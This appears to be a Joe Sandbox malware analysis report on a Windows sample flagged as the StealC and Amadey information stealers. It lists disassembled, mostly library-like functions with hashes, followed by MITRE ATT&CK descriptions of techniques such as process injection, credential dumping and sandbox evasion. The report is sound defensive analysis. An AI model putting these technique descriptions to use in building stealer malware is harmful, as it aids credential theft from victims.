Opcode Fuzzy Hash: 132cb41fea635e89c82f4e0ccfb92eb556bd4b4fe28e476d9ac814cb376bacfb
Instruction Fuzzy Hash: 06110436E08688D7DB008BA9C8144EDB775FFAA218B458218DC45A7612EB30E5C5C750

Function 6C974730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9744B2,6C9EE21C,6C9EF7F8), ref: 6C97473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C97474A

Strings

GetNtLoaderAPI, xrefs: 6C974744

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 56922b1525815ed4297b5ccf76939983986cda1503baecaf55994f3ccb0b3340
Instruction ID: 2e444408539cbe1cd787ebb58c1d12888fcd1cc08a52fe4f15d7faf6700a5e83
Opcode Fuzzy Hash: 56922b1525815ed4297b5ccf76939983986cda1503baecaf55994f3ccb0b3340
Instruction Fuzzy Hash: 18018C753093548FDF01AF6698846297BB9EF9F721B29006AE90ACB301CB74D801CFA1

Function 6C9C6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C9C6E22
__Init_thread_footer.LIBCMT ref: 6C9C6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C9C6E1D

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: e23ff3514a28ee5fa86c4fae328746c4f4497a00e0017d4a2b8ce92d946103e1
Instruction ID: 5ff03ee5c14f1aae06e2e6dec7bb61887dcb190dbf2658762f2112262dbf247d
Opcode Fuzzy Hash: e23ff3514a28ee5fa86c4fae328746c4f4497a00e0017d4a2b8ce92d946103e1
Instruction Fuzzy Hash: 35F0593170A24CCBDB008B68E850AA137719FFFA1CF280167C40447F53CB20E52ACAA3

Function 6C979E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C979EEF

Strings

NaN, xrefs: 6C979EC1
Infinity, xrefs: 6C979EB7

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: e74cee0d6a647cd24df6685944fa62515d538f1bc8688844608da2eb1e00d8a5
Instruction ID: 1edb59ae738d70e7671c05780ed0e20d53c4bb4f99371b9463333c59673b5da1
Opcode Fuzzy Hash: e74cee0d6a647cd24df6685944fa62515d538f1bc8688844608da2eb1e00d8a5
Instruction Fuzzy Hash: 66F08C7160A645CADB428B18F8467443B71AFBF31CF354A56C5080AB42D735A5CA8A92

Function 6C97BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C97BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C97BEF5

Strings

cryptbase.dll, xrefs: 6C97BEF0

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 77148895aded48203a111be2e7f9ece12f889da3adc61b2108ac5b0a608d108e
Instruction ID: 2532b3769bb3ec6b3c9382e467f5f2e748e394294c3210d8aff2255ea91e2906
Opcode Fuzzy Hash: 77148895aded48203a111be2e7f9ece12f889da3adc61b2108ac5b0a608d108e
Instruction Fuzzy Hash: 22D013311C5308E7D7516B908D0DF193778AF59715F20C025F75554951C7B1D450CFD4

Function 6C9650E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C964E9C,?,?,?,?,?), ref: 6C96510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C964E9C,?,?,?,?,?), ref: 6C965167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C965196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C964E9C), ref: 6C965234

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: cd6f07ea2daf44bffb69ed3878fb1a5c7bf90d726919fdcaba43e74460f68ad6
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 2691F135505646CFCB14CF09C890A5ABBA5FF99318B29868CDC489BB56C331FD82CBE0

Function 6C9A08F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9A0918
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9A09A6
EnterCriticalSection.KERNEL32(6C9EE7DC,?,00000000), ref: 6C9A09F3
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9A0ACB

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 2fbcdf817a487fc382278c42eb755b2e388b3d6df3fef90647f391a644ff1d27
Instruction ID: 5b9de31af6a19282f2c78ff869447a22d9df019fa41c66424373c4e1e8c75831
Opcode Fuzzy Hash: 2fbcdf817a487fc382278c42eb755b2e388b3d6df3fef90647f391a644ff1d27
Instruction Fuzzy Hash: 0A516B32B05654CBEB489A95C45472533B5EFEAB24B35913AD86797F80DB31EC02C6C0

Function 6C9BB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C9BB2C9,?,?,?,6C9BB127,?,?,?,?,?,?,?,?,?,6C9BAE52), ref: 6C9BB628

Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B90FF
Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9BB2C9,?,?,?,6C9BB127,?,?,?,?,?,?,?,?,?,6C9BAE52), ref: 6C9BB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9BB2C9,?,?,?,6C9BB127,?,?,?,?,?,?,?,?,?,6C9BAE52), ref: 6C9BB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C9BB127,?,?,?,?,?,?,?,?), ref: 6C9BB74D

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8a01aab7225f84701aab4ac716a8d339c855d6b3e6d954253b27f0658ce99569
Instruction ID: f115978db099a2a656332247f6328d876b7b83814a1f98c6dd3ce86e2f319347
Opcode Fuzzy Hash: 8a01aab7225f84701aab4ac716a8d339c855d6b3e6d954253b27f0658ce99569
Instruction Fuzzy Hash: DF51B7B1A05216DBDB14CF18C9C066FB7B5EF89704F168529C85ABBB80DB30E804CBA1

Function 6C9BDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9AFF2A), ref: 6C9BDFFD

Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B90FF
Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9AFF2A), ref: 6C9BE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9AFF2A), ref: 6C9BE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C9AFF2A), ref: 6C9BE0FE

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e86ee1a3af6ff0b2058da280f2af5e79a2830912d924e388342a702ebc3d38bb
Instruction ID: c867034c1424e54b6c2178f88debe033ca98ca700dc6e05c8019697a8cd94fff
Opcode Fuzzy Hash: e86ee1a3af6ff0b2058da280f2af5e79a2830912d924e388342a702ebc3d38bb
Instruction Fuzzy Hash: F141B1B1608216DFEB14CF68D88036B77BAAF46308F254979D556EB740E731E904CBD2

Function 6C9B6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C9B6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C9B6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9B6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B6F5C

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: bb7c11096c02d068a8d9ce596f2582be46aca4b6cd5ab5322db14ee2fafdb1a4
Instruction ID: a22d2f4f70aca0a47144734f7c380559b2e26087e7586b11d727e34cc30290ad
Opcode Fuzzy Hash: bb7c11096c02d068a8d9ce596f2582be46aca4b6cd5ab5322db14ee2fafdb1a4
Instruction Fuzzy Hash: 8531E571A1060A9FDB08CF2CC9806AB73E9FF94344F50813DD41AD7651EB31E669C790

Function 6C9CB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C970A4D), ref: 6C9CB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C970A4D), ref: 6C9CB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C970A4D), ref: 6C9CB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C970A4D), ref: 6C9CB67F

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 4c2ae7465413480812ddee15985635b6ba84e8556b8cb079783d8e3dead9daa9
Instruction ID: 392d24bc119dcc89dcd8b7a62ab48144820da0114567d21a05406e42d7c7c1bf
Opcode Fuzzy Hash: 4c2ae7465413480812ddee15985635b6ba84e8556b8cb079783d8e3dead9daa9
Instruction Fuzzy Hash: 7931F471E002168FDB10DF58C94466ABBB9FF84325F168529C80A9B201DB31E915CBA3

Function 6C99F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C99F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C99F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C99F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C99F668

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 930120d83646c70c7c335615e540f2feefbfff5f45c6baa77110c3b2be83de8b
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 1A314F71A00614AFCB14CF5DCCC0AABB7B9EB94358B188539FA498BB04D672F9448B91

Function 6C9B26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B26C1
free.MOZGLUE(?), ref: 6C9B26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B26FF
free.MOZGLUE ref: 6C9B270D

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f88442e70426af313a02e1050fe191daf7ecbe7b9cc52c677c6edc37a2de26e7
Instruction ID: b237b41504ae697f64bfd474cf52261243125ef69d145bcc44673202e28a1dba
Opcode Fuzzy Hash: f88442e70426af313a02e1050fe191daf7ecbe7b9cc52c677c6edc37a2de26e7
Instruction Fuzzy Hash: C5F0F9B2701601BBFB009A18DCC495B73ADEF65259B200435EA16E3B02E331F918C6A5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

